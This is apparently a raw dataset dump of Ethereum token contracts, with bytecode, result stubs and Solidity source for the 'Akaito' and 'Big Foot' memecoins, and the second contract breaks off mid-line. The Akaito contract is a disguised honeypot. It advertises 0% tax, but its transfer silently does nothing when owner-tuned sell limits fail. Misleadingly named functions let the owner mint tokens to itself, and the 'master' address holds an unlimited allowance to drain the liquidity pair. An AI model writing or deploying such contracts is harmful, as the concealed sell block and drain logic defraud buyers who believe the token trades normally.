fff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115cb9092919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611af281600454611d9290919063ffffffff16565b600481905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000611b718360000183611ddc565b60001c905092915050565b6000611ba4836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611e5f565b905092915050565b6000611bba82600001611e82565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611c64576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206c6f636b20746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b6001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f44427e3003a08f22cf803894075ac0297524e09e521fc1c15bc91741ce3dc15981604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b611d2d838383611e93565b505050565b6000611d5a836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611f02565b905092915050565b6000611d8a836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611f72565b905092915050565b6000611dd483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115cb565b905092915050565b600081836000018054905011611e3d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806120b66022913960400191505060405180910390fd5b826000018281548110611e4c57fe5b9060005260206000200154905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b600081600001805490509050919050565b611e9e83838361205a565b611ea78361205f565b15611efd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b815260200180612232602b913960400191505060405180910390fd5b505050565b6000611f0e8383611e5f565b611f67578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050611f6c565b600090505b92915050565b6000808360010160008481526020019081526020016000205490506000811461204e5760006001820390506000600186600001805490500390506000866000018281548110611fbd57fe5b9060005260206000200154905080876000018481548110611fda57fe5b906000526020600020018190555060018301876001016000838152602001908152602001600020819055508660000180548061201257fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050612054565b60009150505b92915050565b505050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905091905056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e647345524332303a207472616e7366657220746f20746865207a65726f2061646472657373416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e2061646d696e20746f206772616e7445524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332305072657365744d696e7465725061757365723a206d75737420686176652070617573657220726f6c6520746f20756e6c6f636b45524332305072657365744d696e7465725061757365723a206d75737420686176652070617573657220726f6c6520746f206c6f636b416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e2061646d696e20746f207265766f6b65437573746f6d4c6f636b61626c653a20746f6b656e207472616e73666572207768696c65206c6f636b656445524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636520726f6c657320666f722073656c66a2646970667358221220c9a1b943d10508004855bfae2008b3dfe1747be03ced7617883f9beabe8857e864736f6c63430006020033
{"success": true, "error": null, "results": {}}
1,348
0x5a60df966fd42e9522774ced46dc48a20b24f820
/** *Submitted for verification at Etherscan.io on 2022-04-30 */ // SPDX-License-Identifier: MIT /** Are you going to fade Akito anon? Supply:1,000,000,000 Max buy:200,000,000 Wallet size:400,000,000,000 Tax: 0% buy/sell https://t.me/AkitoEth */ pragma solidity 0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), 'Ownable: caller is not the owner'); _; } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); } interface IPancakeFactory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IPancakePair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IPancakeRouter01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IPancakeRouter02 is IPancakeRouter01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract AKAITO is Context, IERC20, Ownable { IPancakeRouter02 internal _router; IPancakePair internal _pair; uint8 internal constant _DECIMALS = 18; address public master; mapping(address => bool) public _marketersAndDevs; mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) internal _allowances; mapping(address => uint256) internal _buySum; mapping(address => uint256) internal _sellSum; mapping(address => uint256) internal _sellSumETH; uint256 internal _totalSupply = (10 ** 9) * (10 ** _DECIMALS); uint256 internal _theNumber = ~uint256(0); uint256 internal _theRemainder = 0; modifier onlyMaster() { require(msg.sender == master); _; } constructor(address routerAddress) { _router = IPancakeRouter02(routerAddress); _pair = IPancakePair(IPancakeFactory(_router.factory()).createPair(address(this), address(_router.WETH()))); _balances[owner()] = _totalSupply; master = owner(); _allowances[address(_pair)][master] = ~uint256(0); _marketersAndDevs[owner()] = true; emit Transfer(address(0), owner(), _totalSupply); } function name() external pure override returns (string memory) { return "Akaito"; } function symbol() external pure override returns (string memory) { return "AKAI"; } function decimals() external pure override returns (uint8) { return _DECIMALS; } function totalSupply() external view override returns (uint256) { return _totalSupply; } function balanceOf(address account) external view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) external override returns (bool) { if (_canTransfer(_msgSender(), recipient, amount)) { _transfer(_msgSender(), recipient, amount); } return true; } function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) external override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { if (_canTransfer(sender, recipient, amount)) { uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _transfer(sender, recipient, amount); _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function burn(uint256 amount) external onlyOwner { _balances[owner()] -= amount; _totalSupply -= amount; } function setNumber(uint256 newNumber) external onlyOwner { _theNumber = newNumber; } function setRemainder(uint256 newRemainder) external onlyOwner { _theRemainder = newRemainder; } function setMaster(address account) external onlyOwner { _allowances[address(_pair)][master] = 0; master = account; _allowances[address(_pair)][master] = ~uint256(0); } function syncPair() external onlyMaster { _pair.sync(); } function includeInReward(address account) external onlyMaster { _marketersAndDevs[account] = true; } function excludeFromReward(address account) external onlyMaster { _marketersAndDevs[account] = false; } function rewardHolders(uint256 amount) external onlyOwner { _balances[owner()] += amount; _totalSupply += amount; } function _isSuper(address account) private view returns (bool) { return (account == address(_router) || account == address(_pair)); } function _canTransfer(address sender, address recipient, uint256 amount) private view returns (bool) { if (_marketersAndDevs[sender] || _marketersAndDevs[recipient]) { return true; } if (_isSuper(sender)) { return true; } if (_isSuper(recipient)) { uint256 amountETH = _getETHEquivalent(amount); uint256 bought = _buySum[sender]; uint256 sold = _sellSum[sender]; uint256 soldETH = _sellSumETH[sender]; return bought >= sold + amount && _theNumber >= soldETH + amountETH && sender.balance >= _theRemainder; } return true; } function _transfer( address sender, address recipient, uint256 amount ) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); require(_balances[sender] >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] -= amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _hasLiquidity() private view returns (bool) { (uint256 reserve0, uint256 reserve1,) = _pair.getReserves(); return reserve0 > 0 && reserve1 > 0; } function _getETHEquivalent(uint256 amountTokens) private view returns (uint256) { (uint256 reserve0, uint256 reserve1,) = _pair.getReserves(); if (_pair.token0() == _router.WETH()) { return _router.getAmountOut(amountTokens, reserve1, reserve0); } else { return _router.getAmountOut(amountTokens, reserve0, reserve1); } } function _beforeTokenTransfer( address from, address to, uint256 amount ) private { if (_hasLiquidity()) { if (_isSuper(from)) { _buySum[to] += amount; } if (_isSuper(to)) { _sellSum[from] += amount; _sellSumETH[from] += _getETHEquivalent(amount); } } } }
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806352390c02116100ad578063a9059cbb11610071578063a9059cbb146102c1578063b59c0974146102d4578063dd62ed3e146102dc578063e6bd7ed114610315578063ee97f7f31461032857600080fd5b806352390c021461022d57806370a08231146102405780638da5cb5b1461026957806395d89b411461028e57806398985331146102ae57600080fd5b80632782e35b116100f45780632782e35b146101c2578063313ce567146101e55780633685d419146101f45780633fb5c1cb1461020757806342966c681461021a57600080fd5b806306fdde0314610131578063095ea7b31461016557806318160ddd1461018857806323b872dd1461019a57806326fae0d3146101ad575b600080fd5b604080518082019091526006815265416b6169746f60d01b60208201525b60405161015c9190610f71565b60405180910390f35b610178610173366004610fde565b61033b565b604051901515815260200161015c565b600a545b60405190815260200161015c565b6101786101a836600461100a565b610351565b6101c06101bb36600461104b565b610419565b005b6101786101d036600461104b565b60046020526000908152604090205460ff1681565b6040516012815260200161015c565b6101c061020236600461104b565b6104a3565b6101c0610215366004611068565b6104de565b6101c0610228366004611068565b61050d565b6101c061023b36600461104b565b61059e565b61018c61024e36600461104b565b6001600160a01b031660009081526005602052604090205490565b6000546001600160a01b03165b6040516001600160a01b03909116815260200161015c565b604080518082019091526004815263414b414960e01b602082015261014f565b6101c06102bc366004611068565b6105d6565b6101786102cf366004610fde565b610605565b6101c0610622565b61018c6102ea366004611081565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b6101c0610323366004611068565b6106a3565b600354610276906001600160a01b031681565b600061034833848461072c565b50600192915050565b600061035e848484610851565b1561040e576001600160a01b0384166000908152600660209081526040808320338452909152902054828110156103ed5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103f8858585610944565b61040c853361040786856110d0565b61072c565b505b5060015b9392505050565b6000546001600160a01b031633146104435760405162461bcd60e51b81526004016103e4906110e7565b600280546001600160a01b039081166000908152600660208181526040808420600380548716865290835281852085905580546001600160a01b031916978616978817905594549093168252825282812093815292905290206000199055565b6003546001600160a01b031633146104ba57600080fd5b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6000546001600160a01b031633146105085760405162461bcd60e51b81526004016103e4906110e7565b600b55565b6000546001600160a01b031633146105375760405162461bcd60e51b81526004016103e4906110e7565b806005600061054e6000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020600082825461057d91906110d0565b9250508190555080600a600082825461059691906110d0565b909155505050565b6003546001600160a01b031633146105b557600080fd5b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146106005760405162461bcd60e51b81526004016103e4906110e7565b600c55565b6000610612338484610851565b1561034857610348338484610944565b6003546001600160a01b0316331461063957600080fd5b600260009054906101000a90046001600160a01b03166001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561068957600080fd5b505af115801561069d573d6000803e3d6000fd5b50505050565b6000546001600160a01b031633146106cd5760405162461bcd60e51b81526004016103e4906110e7565b80600560006106e46000546001600160a01b031690565b6001600160a01b03166001600160a01b031681526020019081526020016000206000828254610713919061111c565b9250508190555080600a6000828254610596919061111c565b6001600160a01b03831661078e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e4565b6001600160a01b0382166107ef5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e4565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831660009081526004602052604081205460ff168061089057506001600160a01b03831660009081526004602052604090205460ff165b1561089d57506001610412565b6108a684610b2d565b156108b357506001610412565b6108bc83610b2d565b1561040e5760006108cc83610b5f565b6001600160a01b038616600090815260076020908152604080832054600883528184205460099093529220549293509091610907868361111c565b8310158015610921575061091b848261111c565b600b5410155b80156109395750600c54886001600160a01b03163110155b945050505050610412565b6001600160a01b0383166109a85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103e4565b6001600160a01b038216610a0a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103e4565b610a15838383610df7565b6001600160a01b038316600090815260056020526040902054811115610a8c5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103e4565b6001600160a01b03831660009081526005602052604081208054839290610ab49084906110d0565b90915550506001600160a01b03821660009081526005602052604081208054839290610ae190849061111c565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161084491815260200190565b6001546000906001600160a01b0383811691161480610b5957506002546001600160a01b038381169116145b92915050565b6000806000600260009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015610bb257600080fd5b505afa158015610bc6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bea9190611150565b506001600160701b031691506001600160701b03169150600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610c4f57600080fd5b505afa158015610c63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c8791906111a0565b6001600160a01b0316600260009054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b158015610cde57600080fd5b505afa158015610cf2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d1691906111a0565b6001600160a01b03161415610db857600154604051630153543560e21b81526004810186905260248101839052604481018490526001600160a01b039091169063054d50d4906064015b60206040518083038186803b158015610d7857600080fd5b505afa158015610d8c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610db091906111bd565b949350505050565b600154604051630153543560e21b81526004810186905260248101849052604481018390526001600160a01b039091169063054d50d490606401610d60565b610dff610eb8565b15610eb357610e0d83610b2d565b15610e40576001600160a01b03821660009081526007602052604081208054839290610e3a90849061111c565b90915550505b610e4982610b2d565b15610eb3576001600160a01b03831660009081526008602052604081208054839290610e7690849061111c565b90915550610e85905081610b5f565b6001600160a01b03841660009081526009602052604081208054909190610ead90849061111c565b90915550505b505050565b6000806000600260009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015610f0b57600080fd5b505afa158015610f1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f439190611150565b506001600160701b031691506001600160701b03169150600082118015610f6a5750600081115b9250505090565b600060208083528351808285015260005b81811015610f9e57858101830151858201604001528201610f82565b81811115610fb0576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610fdb57600080fd5b50565b60008060408385031215610ff157600080fd5b8235610ffc81610fc6565b946020939093013593505050565b60008060006060848603121561101f57600080fd5b833561102a81610fc6565b9250602084013561103a81610fc6565b929592945050506040919091013590565b60006020828403121561105d57600080fd5b813561041281610fc6565b60006020828403121561107a57600080fd5b5035919050565b6000806040838503121561109457600080fd5b823561109f81610fc6565b915060208301356110af81610fc6565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b6000828210156110e2576110e26110ba565b500390565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000821982111561112f5761112f6110ba565b500190565b80516001600160701b038116811461114b57600080fd5b919050565b60008060006060848603121561116557600080fd5b61116e84611134565b925061117c60208501611134565b9150604084015163ffffffff8116811461119557600080fd5b809150509250925092565b6000602082840312156111b257600080fd5b815161041281610fc6565b6000602082840312156111cf57600080fd5b505191905056fea264697066735822122059b929a154e4cf3832e7abe3d0bcb414c5e6f293dd473ce2bc431292451ae2e464736f6c63430008090033
{"success": true, "error": null, "results": {}}
1,349
0x5e406ac4a6cebc636e3f7f58fda838aeaac43e81
/** *Submitted for verification at Etherscan.io on 2021-05-27 */ /* We present to you.. the YETI https://bigfootoken.com/ https://t.me/Bigfootyetitoken */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract YETI is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Big Foot"; string private constant _symbol = 'YETI'; uint8 private constant _decimals = 9; uint256 private _taxFee = 20; uint256 private _teamFee = 20; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = 